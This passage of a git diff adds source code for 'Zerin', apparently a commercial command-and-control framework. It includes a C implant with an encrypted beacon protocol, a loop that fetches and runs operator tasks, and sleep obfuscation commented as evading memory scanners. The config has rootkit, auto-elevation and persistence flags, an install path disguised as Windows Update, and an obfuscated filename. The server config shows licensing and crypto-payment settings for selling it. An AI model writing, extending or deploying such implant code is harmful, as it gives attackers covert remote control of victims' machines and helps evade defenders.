0; i < task->num_args; i++) { + if (buffer_read_string(buf, &task->args[i]) != 0) return -1; + } + + if (buffer_read_bytes(buf, &task->data, &task->data_len) != 0) return -1; + if (buffer_read_u32(buf, &task->timeout) != 0) return -1; + return 0; +} + +void task_free(task_t *task) { + for (uint32_t i = 0; i < task->num_args; i++) { + if (task->args[i]) { free(task->args[i]); task->args[i] = NULL; } + } + if (task->data) { free(task->data); task->data = NULL; } +} + +// ============================================================================ +// TaskResult serialization +// ============================================================================ + +int task_result_serialize(const task_result_t *result, buffer_t *buf) { + if (buffer_write_string(buf, result->task_id) != 0) return -1; + if (buffer_write_u8(buf, result->success ? 1 : 0) != 0) return -1; + if (buffer_write_string(buf, result->output ? result->output : "") != 0) return -1; + if (buffer_write_bytes(buf, result->data, result->data_len) != 0) return -1; + if (buffer_write_u32(buf, (uint32_t)result->error_code) != 0) return -1; + if (buffer_write_string(buf, result->error_message ? result->error_message : "") != 0) return -1; + return 0; +} + +void task_result_free(task_result_t *result) { + if (result->output) { free(result->output); result->output = NULL; } + if (result->data) { free(result->data); result->data = NULL; } + if (result->error_message) { free(result->error_message); result->error_message = NULL; } +} + +// ============================================================================ +// TaskResponse deserialization +// ============================================================================ + +int task_response_deserialize(buffer_t *buf, task_response_t *resp) { + memset(resp, 0, sizeof(*resp)); + if (buffer_read_u32(buf, &resp->num_tasks) != 0) return -1; + if (resp->num_tasks == 0) return 0; + if (resp->num_tasks > ZERIN_MAX_TASKS) return -1; + + resp->tasks = (task_t *)calloc(resp->num_tasks, sizeof(task_t)); + if (!resp->tasks) return -1; + + for (uint32_t i = 0; i < resp->num_tasks; i++) { + if (task_deserialize(buf, &resp->tasks[i]) != 0) { + task_response_free(resp); + return -1; + } + } + return 0; +} + +void task_response_free(task_response_t *resp) { + if (resp->tasks) { + for (uint32_t i = 0; i < resp->num_tasks; i++) + task_free(&resp->tasks[i]); + free(resp->tasks); + resp->tasks = NULL; + } + resp->num_tasks = 0; +} + +// ============================================================================ +// Wire format builders +// ============================================================================ + +int protocol_build_key_exchange(const uint8_t pubkey_hash[32], + const uint8_t ephemeral_pub[32], + const uint8_t *encrypted_checkin, + size_t encrypted_len, + const uint8_t nonce[12], + uint8_t **out, size_t *out_len) { + // Wire: [32:hash][32:ephemeral_pub][12:nonce][4:encrypted_len][N:encrypted] + size_t total = 32 + 32 + 12 + 4 + encrypted_len; + *out = (uint8_t *)malloc(total); + if (!*out) return -1; + + uint8_t *p = *out; + memcpy(p, pubkey_hash, 32); p += 32; + memcpy(p, ephemeral_pub, 32); p += 32; + memcpy(p, nonce, 12); p += 12; + p[0] = (uint8_t)(encrypted_len); + p[1] = (uint8_t)(encrypted_len >> 8); + p[2] = (uint8_t)(encrypted_len >> 16); + p[3] = (uint8_t)(encrypted_len >> 24); + p += 4; + memcpy(p, encrypted_checkin, encrypted_len); + + *out_len = total; + return 0; +} + +int protocol_parse_key_exchange_response(const uint8_t *data, size_t data_len, + uint8_t **encrypted_payload, + size_t *encrypted_len, + uint8_t nonce[12]) { + // Wire: [12:nonce][4:len][N:encrypted] + if (data_len < 16) return -1; + memcpy(nonce, data, 12); + uint32_t len = (uint32_t)data[12] + | ((uint32_t)data[13] << 8) + | ((uint32_t)data[14] << 16) + | ((uint32_t)data[15] << 24); + if (data_len < 16 + len) return -1; + + *encrypted_payload = (uint8_t *)malloc(len); + if (!*encrypted_payload) return -1; + memcpy(*encrypted_payload, data + 16, len); + *encrypted_len = len; + return 0; +} + +int protocol_build_beacon(const uint8_t session_key[32], + const envelope_t *env, + uint8_t **out, size_t *out_len) { + // Serialize envelope + buffer_t *buf = buffer_new(1024); + if (!buf) return -1; + + if (envelope_serialize(env, buf) != 0) { + buffer_free(buf); + return -1; + } + + // Generate nonce + uint8_t nonce[12]; + if (crypto_random_bytes(nonce, 12) != 0) { + buffer_free(buf); + return -1; + } + + // AEAD encrypt + size_t encrypted_len = buf->len + CRYPTO_TAG_SIZE; + uint8_t *encrypted = (uint8_t *)malloc(encrypted_len); + if (!encrypted) { + buffer_free(buf); + return -1; + } + + if (aead_encrypt(session_key, nonce, NULL, 0, + buf->data, buf->len, encrypted) != 0) { + free(encrypted); + buffer_free(buf); + return -1; + } + buffer_free(buf); + + // Output: [4:agent_id_len][agent_id][12:nonce][4:encrypted_len][N:encrypted] + // The agent_id is sent in cleartext so the server can look up the session key. + size_t agent_id_len = strlen(env->agent_id); + size_t total = 4 + agent_id_len + 12 + 4 + encrypted_len; + *out = (uint8_t *)malloc(total); + if (!*out) { + free(encrypted); + return -1; + } + + uint8_t *p = *out; + // Write agent_id as length-prefixed string (u32 LE) + p[0] = (uint8_t)(agent_id_len); + p[1] = (uint8_t)(agent_id_len >> 8); + p[2] = (uint8_t)(agent_id_len >> 16); + p[3] = (uint8_t)(agent_id_len >> 24); + p += 4; + memcpy(p, env->agent_id, agent_id_len); + p += agent_id_len; + // Write nonce + memcpy(p, nonce, 12); + p += 12; + // Write encrypted length (u32 LE) + p[0] = (uint8_t)(encrypted_len); + p[1] = (uint8_t)(encrypted_len >> 8); + p[2] = (uint8_t)(encrypted_len >> 16); + p[3] = (uint8_t)(encrypted_len >> 24); + p += 4; + // Write encrypted data + memcpy(p, encrypted, encrypted_len); + + free(encrypted); + *out_len = total; + return 0; +} + +int protocol_parse_beacon_response(const uint8_t session_key[32], + const uint8_t *data, size_t data_len, + envelope_t *env) { + if (data_len < 16) return -1; + + uint8_t nonce[12]; + memcpy(nonce, data, 12); + + uint32_t enc_len = (uint32_t)data[12] + | ((uint32_t)data[13] << 8) + | ((uint32_t)data[14] << 16) + | ((uint32_t)data[15] << 24); + + if (data_len < 16 + enc_len) return -1; + if (enc_len < CRYPTO_TAG_SIZE) return -1; + + size_t plaintext_len = enc_len - CRYPTO_TAG_SIZE; + uint8_t *plaintext = (uint8_t *)malloc(plaintext_len); + if (!plaintext) return -1; + + if (aead_decrypt(session_key, nonce, NULL, 0, + data + 16, enc_len, plaintext) != 0) { + free(plaintext); + return -1; + } + + buffer_t buf; + buf.data = plaintext; + buf.len = plaintext_len; + buf.cap = plaintext_len; + buf.pos = 0; + + int ret = envelope_deserialize(&buf, env); + secure_zero(plaintext, plaintext_len); + free(plaintext); + return ret; +} diff --git a/src/comms/transport.c b/src/comms/transport.c new file mode 100755 index 0000000..46651ee --- /dev/null +++ b/src/comms/transport.c @@ -0,0 +1,10 @@ +#include "zerin.h" +#include + +// Currently only HTTP/S is implemented (Phase 1) +// DNS, SMB, TCP, WebSocket transports will be added in Phase 4 + +// Get the default transport (HTTP/S) +transport_t *transport_get_default(void) { + return &transport_https; +} diff --git a/src/config.rs b/src/config.rs new file mode 100755 index 0000000..e5d2b34 --- /dev/null +++ b/src/config.rs @@ -0,0 +1,278 @@ +use hkdf::Hkdf; +use rand::Rng; +use sha2::Sha256; +use std::path::PathBuf; + +/// Server-wide configuration loaded at startup. +#[derive(Debug, Clone)] +pub struct ServerConfig { + /// Address the operator API binds to (e.g. "0.0.0.0:9443"). + pub api_bind: String, + /// Default listener bind address for HTTPS agent comms. + pub listener_bind: String, + /// External IP/hostname agents use to connect back to this server. + pub listener_host: String, + /// Path to TLS certificate PEM file (auto-generated if missing). + pub tls_cert_path: PathBuf, + /// Path to TLS private key PEM file (auto-generated if missing). + pub tls_key_path: PathBuf, + /// PostgreSQL connection URL. + pub db_url: String, + /// Secret used to sign and verify operator JWTs. + pub jwt_secret: String, + /// JWT token lifetime in seconds (default 8 hours). + pub jwt_lifetime_secs: i64, + /// Default operator credentials (bootstrap only). + pub default_operator_user: String, + pub default_operator_pass: String, + /// Multiplier for sleep_interval before marking agent stale. + pub stale_multiplier: u64, + /// Multiplier for sleep_interval before marking agent dead. + pub dead_multiplier: u64, + /// How often the reaper task runs (seconds). + pub reaper_interval_secs: u64, + /// Path to the web dashboard build directory (for static serving). + pub web_root: Option, + /// Path to the agent source directory (for payload builder). + pub agent_source_dir: PathBuf, + /// Path to GCC binary (for payload builder). + pub gcc_path: String, + /// Directory to store built payloads. + pub payloads_dir: PathBuf, + /// Path to the server keypair file. + pub keys_path: PathBuf, + /// Secret used to sign and verify license keys (separate from JWT). + pub license_secret: String, + /// NOWPayments API key for crypto payment processing. + pub nowpay_api_key: Option, + /// NOWPayments IPN secret for webhook signature verification. + pub nowpay_ipn_secret: Option, + /// Public-facing web URL for payment callbacks (e.g. "https://zerin.top"). + /// Falls back to listener_host if not set. + pub web_url: Option, +} + +impl Default for ServerConfig { + fn default() -> Self { + Self { + // Default to localhost-only binding for safety. Operators should + // explicitly set ZERIN_API_BIND=0.0.0.0:8080 (or another address) + // to expose the API on external interfaces. + api_bind: "127.0.0.1:8090".to_string(), + listener_bind: "127.0.0.1:8091".to_string(), + listener_host: "127.0.0.1".to_string(), + tls_cert_path: PathBuf::from("zerin_tls_cert.pem"), + tls_key_path: PathBuf::from("zerin_tls_key.pem"), + db_url: "postgres://zerin:zerin@localhost/zerin".to_string(), + jwt_secret: "zerin-default-jwt-secret-change-in-production".to_string(), + jwt_lifetime_secs: 8 * 3600, + default_operator_user: "zerin".to_string(), + default_operator_pass: String::new(), // placeholder — replaced in from_env() + stale_multiplier: 3, + dead_multiplier: 10, + reaper_interval_secs: 10, + web_root: Some(PathBuf::from("./web/dist")), + agent_source_dir: PathBuf::from("./agent"), + gcc_path: "gcc.exe".to_string(), + payloads_dir: PathBuf::from("./server/payloads"), + keys_path: PathBuf::from("server_keys.bin"), + license_secret: String::new(), // derived in from_env() + nowpay_api_key: None, + nowpay_ipn_secret: None, + web_url: None, + } + } +} + +/// Derive a license-specific secret from the JWT secret using HKDF-SHA256. +/// Used as a backwards-compatible fallback when ZERIN_LICENSE_SECRET is not set. +pub fn derive_license_secret(jwt_secret: &str) -> String { + let hk = Hkdf::::new(None, jwt_secret.as_bytes()); + let mut okm = [0u8; 32]; + // HKDF expand with a 32-byte output will never fail (max output is + // 255 * HashLen = 8160 bytes for SHA-256), so unwrap is safe here. + // Using unwrap instead of expect to avoid panic message in binary. + hk.expand(b"zerin-license-secret-derivation", &mut okm).unwrap(); + // Encode as hex for a printable secret string + okm.iter().map(|b| format!("{:02x}", b)).collect() +} + +impl ServerConfig { + /// Build configuration from environment variables, falling back to defaults. + pub fn from_env() -> Self { + let mut cfg = Self::default(); + + if let Ok(v) = std::env::var("ZERIN_API_BIND") { + cfg.api_bind = v; + } + if let Ok(v) = std::env::var("ZERIN_LISTENER_BIND") { + cfg.listener_bind = v; + } + if let Ok(v) = std::env::var("ZERIN_LISTENER_HOST") { + cfg.listener_host = v; + } + if let Ok(v) = std::env::var("ZERIN_TLS_CERT") { + cfg.tls_cert_path = PathBuf::from(v); + } + if let Ok(v) = std::env::var("ZERIN_TLS_KEY") { + cfg.tls_key_path = PathBuf::from(v); + } + if let Ok(v) = std::env::var("ZERIN_DB_URL") { + cfg.db_url = v; + } + if let Ok(v) = std::env::var("ZERIN_JWT_SECRET") { + cfg.jwt_secret = v; + } else { + // No custom JWT secret set — generate a random one instead of using + // the insecure default. Print it so the operator can save it. + let random_secret: String = { + let mut rng = rand::thread_rng(); + (0..64) + .map(|_| { + let idx = rng.gen_range(0..62); + b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"[idx] + as char + }) + .collect() + }; + eprintln!("========================================================"); + eprintln!(" No ZERIN_JWT_SECRET set — generated a random secret."); + eprintln!(" Set ZERIN_JWT_SECRET to persist across restarts."); + eprintln!(" Secret written to: zerin_jwt_secret.txt"); + eprintln!("========================================================"); + // Write to file instead of stderr to avoid leaking in logs. + // NOTE: On Windows, we cannot easily set Unix-style file permissions + // (e.g. chmod 600). The file is created with default ACLs. + if let Err(e) = std::fs::write("zerin_jwt_secret.txt", &random_secret) { + eprintln!(" WARNING: Failed to write secret file: {}", e); + } else { + // Restrict file permissions on Unix + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + let _ = std::fs::set_permissions( + "zerin_jwt_secret.txt", + std::fs::Permissions::from_mode(0o600), + ); + } + eprintln!(" JWT secret written to: zerin_jwt_secret.txt (permissions restricted)"); + } + cfg.jwt_secret = random_secret; + } + if let Ok(v) = std::env::var("ZERIN_JWT_LIFETIME") { + if let Ok(n) = v.parse::() { + if n > 0 { + cfg.jwt_lifetime_secs = n; + } + } + } + if let Ok(v) = std::env::var("ZERIN_OPERATOR_USER") { + cfg.default_operator_user = v; + } + if let Ok(v) = std::env::var("ZERIN_OPERATOR_PASS") { + cfg.default_operator_pass = v; + } else { + // No ZERIN_OPERATOR_PASS set — generate a random 16-char alphanumeric + // password instead of using a hardcoded default. + let random_pass: String = { + let mut rng = rand::thread_rng(); + (0..16) + .map(|_| { + let idx = rng.gen_range(0..62); + b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"[idx] + as char + }) + .collect() + }; + // Write generated password to file instead of stdout to avoid leaking in logs + if let Err(e) = std::fs::write("zerin_operator_pass.txt", &random_pass) { + eprintln!("WARNING: Failed to write operator password file: {}", e); + eprintln!("Generated operator password: {}", random_pass); + } else { + // Restrict file permissions on Unix + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + let _ = std::fs::set_permissions( + "zerin_operator_pass.txt", + std::fs::Permissions::from_mode(0o600), + ); + } + eprintln!("Generated operator password written to: zerin_operator_pass.txt"); + } + cfg.default_operator_pass = random_pass; + } + if let Ok(v) = std::env::var("ZERIN_WEB_ROOT") { + cfg.web_root = Some(PathBuf::from(v)); + } + if let Ok(v) = std::env::var("ZERIN_AGENT_SOURCE_DIR") { + cfg.agent_source_dir = PathBuf::from(v); + } + if let Ok(v) = std::env::var("ZERIN_GCC_PATH") { + cfg.gcc_path = v; + } + if let Ok(v) = std::env::var("ZERIN_PAYLOADS_DIR") { + cfg.payloads_dir = PathBuf::from(v); + } + if let Ok(v) = std::env::var("ZERIN_KEYS_PATH") { + cfg.keys_path = PathBuf::from(v); + } + if let Ok(v) = std::env::var("ZERIN_STALE_MULTIPLIER") { + if let Ok(n) = v.parse::() { + cfg.stale_multiplier = n; + } + } + if let Ok(v) = std::env::var("ZERIN_DEAD_MULTIPLIER") { + if let Ok(n) = v.parse::() { + cfg.dead_multiplier = n; + } + } + + // Validate stale/dead multipliers: stale_multiplier must be >= 2, + // and dead_multiplier must be strictly greater than stale_multiplier. + if cfg.stale_multiplier < 2 { + tracing::warn!( + stale_multiplier = cfg.stale_multiplier, + "stale_multiplier too low, clamping to 2" + ); + cfg.stale_multiplier = 2; + } + if cfg.dead_multiplier <= cfg.stale_multiplier { + let corrected = cfg.stale_multiplier + 1; + tracing::warn!( + dead_multiplier = cfg.dead_multiplier, + stale_multiplier = cfg.stale_multiplier, + corrected = corrected, + "dead_multiplier must be > stale_multiplier, setting to {}", + corrected + ); + cfg.dead_multiplier = corrected; + } + if let Ok(v) = std::env::var("ZERIN_REAPER_INTERVAL") { + if let Ok(n) = v.parse::() { + cfg.reaper_interval_secs = n; + } + } + + // License secret: separate from JWT secret for defense-in-depth. + // Falls back to HKDF derivation from JWT secret if not set. + if let Ok(v) = std::env::var("ZERIN_LICENSE_SECRET") { + cfg.license_secret = v; + } else { + cfg.license_secret = derive_license_secret(&cfg.jwt_secret); + } + + // NOWPayments integration (optional — payments disabled if not set). + if let Ok(v) = std::env::var("ZERIN_NOWPAY_API_KEY") { + cfg.nowpay_api_key = Some(v); + } + if let Ok(v) = std::env::var("ZERIN_NOWPAY_IPN_SECRET") { + cfg.nowpay_ipn_secret = Some(v); + } + if let Ok(v) = std::env::var("ZERIN_WEB_URL") { + cfg.web_url = Some(v); + } + + cfg + } +} diff --git a/src/core/base64.c b/src/core/base64.c new file mode 100755 index 0000000..2d1de52 --- /dev/null +++ b/src/core/base64.c @@ -0,0 +1,35 @@ +#include +#include +#include + +static const char b64_table[] = + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; + +/* Encode binary data to base64. Caller must free the returned string. */ +char *base64_encode(const uint8_t *data, size_t len, size_t *out_len) { + size_t olen = 4 * ((len + 2) / 3); + char *out = (char *)malloc(olen + 1); + if (!out) return NULL; + + size_t j = 0; + for (size_t i = 0; i < len; ) { + uint32_t a = i < len ? data[i++] : 0; + uint32_t b = i < len ? data[i++] : 0; + uint32_t c = i < len ? data[i++] : 0; + uint32_t triple = (a << 16) | (b << 8) | c; + + out[j++] = b64_table[(triple >> 18) & 0x3F]; + out[j++] = b64_table[(triple >> 12) & 0x3F]; + out[j++] = b64_table[(triple >> 6) & 0x3F]; + out[j++] = b64_table[ triple & 0x3F]; + } + + /* Padding */ + size_t mod = len % 3; + if (mod == 1) { out[j - 2] = '='; out[j - 1] = '='; } + if (mod == 2) { out[j - 1] = '='; } + + out[j] = '\0'; + if (out_len) *out_len = j; + return out; +} diff --git a/src/core/beacon.c b/src/core/beacon.c new file mode 100755 index 0000000..430682c --- /dev/null +++ b/src/core/beacon.c @@ -0,0 +1,345 @@ +#include "zerin.h" +#include +#include +#include + +// Calculate sleep duration with jitter +static uint32_t calculate_sleep_ms(uint32_t interval_sec, uint32_t jitter_pct) { + if (interval_sec > 86400) interval_sec = 86400; // Cap at 24 hours + if (jitter_pct == 0) + return interval_sec * 1000; + + double jitter_range = (double)interval_sec * (double)jitter_pct / 100.0; + double random_offset = (crypto_random_float() * 2.0 - 1.0) * jitter_range; + double actual = (double)interval_sec + random_offset; + if (actual < 1.0) actual = 1.0; + + return (uint32_t)(actual * 1000.0); +} + +int zerin_key_exchange(zerin_agent_t *agent) { + // Initialize key exchange + key_exchange_t kx; + if (key_exchange_init(&kx, agent->config.agent_pubkey) != 0) + return ZERIN_ERR_CRYPTO; + + // Derive session key using server's public key + if (key_exchange_derive(&kx, agent->config.server_pubkey) != 0) { + secure_zero(&kx, sizeof(kx)); + return ZERIN_ERR_CRYPTO; + } + + // Gather system info for checkin + checkin_t checkin; + recon_gather_checkin(&checkin, agent->config.agent_id, + agent->config.sleep_interval, + agent->config.jitter_percent, + agent->config.kill_date); + + // Serialize checkin + buffer_t *checkin_buf = buffer_new(1024); + if (!checkin_buf) return ZERIN_ERR_MEMORY; + if (checkin_serialize(&checkin, checkin_buf) != 0) { + buffer_free(checkin_buf); + return ZERIN_ERR_PROTOCOL; + } + + // Encrypt checkin with derived session key + uint8_t nonce[ZERIN_NONCE_SIZE]; + if (crypto_random_bytes(nonce, ZERIN_NONCE_SIZE) != 0) { + buffer_free(checkin_buf); + return ZERIN_ERR_CRYPTO; + } + + size_t encrypted_len = checkin_buf->len + CRYPTO_TAG_SIZE; + uint8_t *encrypted = (uint8_t *)malloc(encrypted_len); + if (!encrypted) { buffer_free(checkin_buf); return ZERIN_ERR_MEMORY; } + + if (aead_encrypt(kx.session_key, nonce, NULL, 0, + checkin_buf->data, checkin_buf->len, encrypted) != 0) { + free(encrypted); + buffer_free(checkin_buf); + return ZERIN_ERR_CRYPTO; + } + buffer_free(checkin_buf); + + // Build key exchange wire message + uint8_t *kx_wire = NULL; + size_t kx_wire_len = 0; + if (protocol_build_key_exchange(kx.agent_pubkey_hash, kx.ephemeral_pubkey, + encrypted, encrypted_len, nonce, + &kx_wire, &kx_wire_len) != 0) { + free(encrypted); + return ZERIN_ERR_PROTOCOL; + } + free(encrypted); + + // Send via transport — try each URL + transport_t transport = transport_https; + uint8_t *response = NULL; + size_t response_len = 0; + int connected = 0; + + for (uint32_t i = 0; i < agent->config.num_urls; i++) { + if (transport.init(&transport, agent->config.callback_urls[i], + agent->config.user_agent) != 0) + continue; + + if (transport_do_key_exchange(&transport, agent->config.callback_urls[i], + kx_wire, kx_wire_len, + &response, &response_len) == 0) { + connected = 1; + transport.cleanup(&transport); + break; + } + transport.cleanup(&transport); + } + + free(kx_wire); + + if (!connected) { + secure_zero(&kx, sizeof(kx)); + return ZERIN_ERR_TRANSPORT; + } + + // Store session key + memcpy(agent->session_key, kx.session_key, ZERIN_KEY_SIZE); + agent->session_established = true; + agent->sequence_number = 1; + + secure_zero(&kx, sizeof(kx)); +#ifdef _DEBUG + if (response && response_len > 0) { + printf("[DEBUG] Key exchange response received (%zu bytes), skipping parse\n", response_len); + } +#endif + if (response) free(response); + + return ZERIN_OK; +} + +int zerin_beacon_loop(zerin_agent_t *agent) { + // Pending results queue + task_result_t *pending_results = NULL; + uint32_t num_pending = 0; + uint32_t pending_cap = 0; + + // Consecutive transport failure counter for exponential backoff. + // On success, resets to 0. On failure, doubles the sleep up to 5 min. + uint32_t consecutive_failures = 0; + + while (agent->running) { + // Check kill date + if (config_is_expired(&agent->config)) { + agent->running = false; + break; + } + + // Build beacon envelope + envelope_t env; + memset(&env, 0, sizeof(env)); + strncpy(env.agent_id, agent->config.agent_id, 36); + env.agent_id[36] = '\0'; + env.sequence_number = agent->sequence_number++; + env.timestamp = platform_time_unix(); + + if (num_pending > 0) { + // Send task results + env.message_type = MSG_TASK_RESULT; + buffer_t *results_buf = buffer_new(4096); + if (results_buf) { + buffer_write_u32(results_buf, num_pending); + for (uint32_t i = 0; i < num_pending; i++) + task_result_serialize(&pending_results[i], results_buf); + env.payload = results_buf->data; + env.payload_len = results_buf->len; + + // Cleanup pending + for (uint32_t i = 0; i < num_pending; i++) + task_result_free(&pending_results[i]); + num_pending = 0; + + // Send and get response (reuse buffer data pointer) + uint8_t *beacon_wire = NULL; + size_t beacon_wire_len = 0; + if (protocol_build_beacon(agent->session_key, &env, + &beacon_wire, &beacon_wire_len) != 0) { + // clean up and skip this beacon cycle + buffer_free(results_buf); + consecutive_failures++; + goto sleep; + } + // Send + transport_t transport = transport_https; + uint8_t *response = NULL; + size_t response_len = 0; + int result_sent = 0; + + for (uint32_t i = 0; i < agent->config.num_urls; i++) { + if (transport.init(&transport, agent->config.callback_urls[i], + agent->config.user_agent) != 0) + continue; + if (transport_do_beacon(&transport, agent->config.callback_urls[i], + beacon_wire, beacon_wire_len, + &response, &response_len) == 0) { + result_sent = 1; + transport.cleanup(&transport); + break; + } + transport.cleanup(&transport); + } + free(beacon_wire); + if (response) free(response); + buffer_free(results_buf); + + if (result_sent) + consecutive_failures = 0; + else + consecutive_failures++; + } + } else { + // Request tasking + env.message_type = MSG_TASK_REQUEST; + env.payload = NULL; + env.payload_len = 0; + + uint8_t *beacon_wire = NULL; + size_t beacon_wire_len = 0; + if (protocol_build_beacon(agent->session_key, &env, + &beacon_wire, &beacon_wire_len) != 0) + goto sleep; + + transport_t transport = transport_https; + uint8_t *response = NULL; + size_t response_len = 0; + int sent = 0; + + for (uint32_t i = 0; i < agent->config.num_urls; i++) { + if (transport.init(&transport, agent->config.callback_urls[i], + agent->config.user_agent) != 0) + continue; + if (transport_do_beacon(&transport, agent->config.callback_urls[i], + beacon_wire, beacon_wire_len, + &response, &response_len) == 0) { + sent = 1; + transport.cleanup(&transport); + break; + } + transport.cleanup(&transport); + } + free(beacon_wire); + + // Parse response + if (sent && response && response_len > 0) { + envelope_t resp_env; + if (protocol_parse_beacon_response(agent->session_key, + response, response_len, + &resp_env) == 0) { + if (resp_env.message_type == MSG_TASK_RESPONSE && resp_env.payload) { + buffer_t task_buf; + task_buf.data = resp_env.payload; + task_buf.len = resp_env.payload_len; + task_buf.cap = resp_env.payload_len; + task_buf.pos = 0; + + task_response_t task_resp; + if (task_response_deserialize(&task_buf, &task_resp) == 0) { + // Execute tasks and collect results + for (uint32_t i = 0; i < task_resp.num_tasks; i++) { + task_t *task = &task_resp.tasks[i]; + + // Handle special commands + if (strcmp(task->command, "sleep") == 0) { + if (task->num_args >= 1) { + int val = atoi(task->args[0]); + if (val > 0 && val <= 86400) + agent->config.sleep_interval = (uint32_t)val; + } + if (task->num_args >= 2) { + int val = atoi(task->args[1]); + if (val >= 0 && val <= 50) + agent->config.jitter_percent = (uint32_t)val; + } + continue; + } + if (strcmp(task->command, "exit") == 0) { + agent->running = false; + task_response_free(&task_resp); + if (resp_env.payload) free(resp_env.payload); + if (response) free(response); + goto done; + } + + // Ensure space in results array + if (num_pending >= pending_cap) { + pending_cap = pending_cap == 0 ? 16 : pending_cap * 2; + task_result_t *new_results = (task_result_t *)realloc( + pending_results, + pending_cap * sizeof(task_result_t)); + if (!new_results) break; + pending_results = new_results; + } + + // Dispatch command + command_dispatch(task, &pending_results[num_pending], agent->cwd); + num_pending++; + } + task_response_free(&task_resp); + } + } + if (resp_env.payload) free(resp_env.payload); + } + } + if (response) free(response); + + if (sent) + consecutive_failures = 0; + else + consecutive_failures++; + } + +sleep: + // If we have pending results, skip the sleep and send them + // immediately on the next loop iteration. This cuts task + // round-trip from two beacon cycles down to one. + if (num_pending > 0) + continue; + + { + uint32_t sleep_ms = calculate_sleep_ms(agent->config.sleep_interval, + agent->config.jitter_percent); + // Exponential backoff on consecutive transport failures. + // Doubles sleep each failure, capped at 5 minutes (300s). + if (consecutive_failures > 0) { + uint32_t backoff_mult = 1u << (consecutive_failures > 6 ? 6 : consecutive_failures); + uint32_t backoff_ms = sleep_ms * backoff_mult; + if (backoff_ms > 300000) backoff_ms = 300000; + if (backoff_ms < sleep_ms) backoff_ms = 300000; // overflow guard + sleep_ms = backoff_ms; + } + // After 10 consecutive failures, attempt session re-establishment. + // Server may have restarted, invalidating our session key. + if (consecutive_failures > 0 && consecutive_failures % 10 == 0) { + if (zerin_key_exchange(agent) == ZERIN_OK) { + consecutive_failures = 0; + } + } + // Use obfuscated sleep when session is established (encrypts + // the .text section during sleep to evade memory scanners). + if (agent->session_established) + sleep_obfuscated(sleep_ms, agent->session_key); + else + platform_sleep_ms(sleep_ms); + } + } + +done: + // Cleanup pending results + if (pending_results) { + for (uint32_t i = 0; i < num_pending; i++) + task_result_free(&pending_results[i]); + free(pending_results); + } + + return ZERIN_OK; +} diff --git a/src/core/config.c b/src/core/config.c new file mode 100755 index 0000000..52ee97b --- /dev/null +++ b/src/core/config.c @@ -0,0 +1,192 @@ +#include "zerin.h" +#include +#include + +// ============================================================================ +// Default embedded config — replaced by payload builder at compile time +// For development/testing, these are plaintext defaults +// ============================================================================ + +// These would be injected by the payload builder in production +static const char *DEFAULT_URLS[] = { + "https://127.0.0.1:8443", + NULL +}; + +static const char *DEFAULT_AGENT_ID = "00000000-0000-0000-0000-000000000000"; +static const char *DEFAULT_USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"; + +// Placeholder keys — payload builder replaces these +static const uint8_t DEFAULT_SERVER_PUBKEY[32] = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; + +static const uint8_t DEFAULT_AGENT_PRIVKEY[32] = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; + +static const uint8_t DEFAULT_AGENT_PUBKEY[32] = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; + +static uint32_t DEFAULT_PERSIST_METHODS = 0; +static uint32_t DEFAULT_ROOTKIT_ENABLED = 0; +static uint32_t DEFAULT_AUTO_ELEVATE = 1; +static uint32_t DEFAULT_INSTALL_DIR = 1; +static const char *DEFAULT_INSTALL_SUBDIR = "Microsoft\\WindowsUpdate"; +static char DEFAULT_INSTALL_FILENAME_BUF[64] = {0}; +static const char *DEFAULT_INSTALL_FILENAME = NULL; + +void config_decrypt(uint8_t *data, size_t len, uint8_t key) { + for (size_t i = 0; i < len; i++) + data[i] ^= key; +} + +int config_init(zerin_config_t *cfg) { + memset(cfg, 0, sizeof(*cfg)); + + /* Decrypt install filename on first call */ + if (!DEFAULT_INSTALL_FILENAME) { + obf_decrypt_to(OBF_SECHEALTH, DEFAULT_INSTALL_FILENAME_BUF, sizeof(DEFAULT_INSTALL_FILENAME_BUF)); + DEFAULT_INSTALL_FILENAME = DEFAULT_INSTALL_FILENAME_BUF; + } + + // Copy callback URLs + cfg->num_urls = 0; + for (int i = 0; DEFAULT_URLS[i] != NULL && i < ZERIN_MAX_URLS; i++) { + strncpy(cfg->callback_urls[i], DEFAULT_URLS[i], ZERIN_MAX_URL_LEN - 1); + cfg->num_urls++; + } + + // Copy keys + memcpy(cfg->server_pubkey, DEFAULT_SERVER_PUBKEY, 32); + memcpy(cfg->agent_privkey, DEFAULT_AGENT_PRIVKEY, 32); + memcpy(cfg->agent_pubkey, DEFAULT_AGENT_PUBKEY, 32); + + // Agent ID + strncpy(cfg->agent_id, DEFAULT_AGENT_ID, 36); + + // Timing defaults + cfg->sleep_interval = 5; // 5 seconds + cfg->jitter_percent = 10; // 10% + cfg->kill_date = 0; // No kill date + + // HTTP + strncpy(cfg->user_agent, DEFAULT_USER_AGENT, 255); + + cfg->persist_methods = DEFAULT_PERSIST_METHODS; + cfg->rootkit_enabled = DEFAULT_ROOTKIT_ENABLED; + cfg->auto_elevate = DEFAULT_AUTO_ELEVATE; + + cfg->install_dir = DEFAULT_INSTALL_DIR; + strncpy(cfg->install_subdir, DEFAULT_INSTALL_SUBDIR, 63); + strncpy(cfg->install_filename, 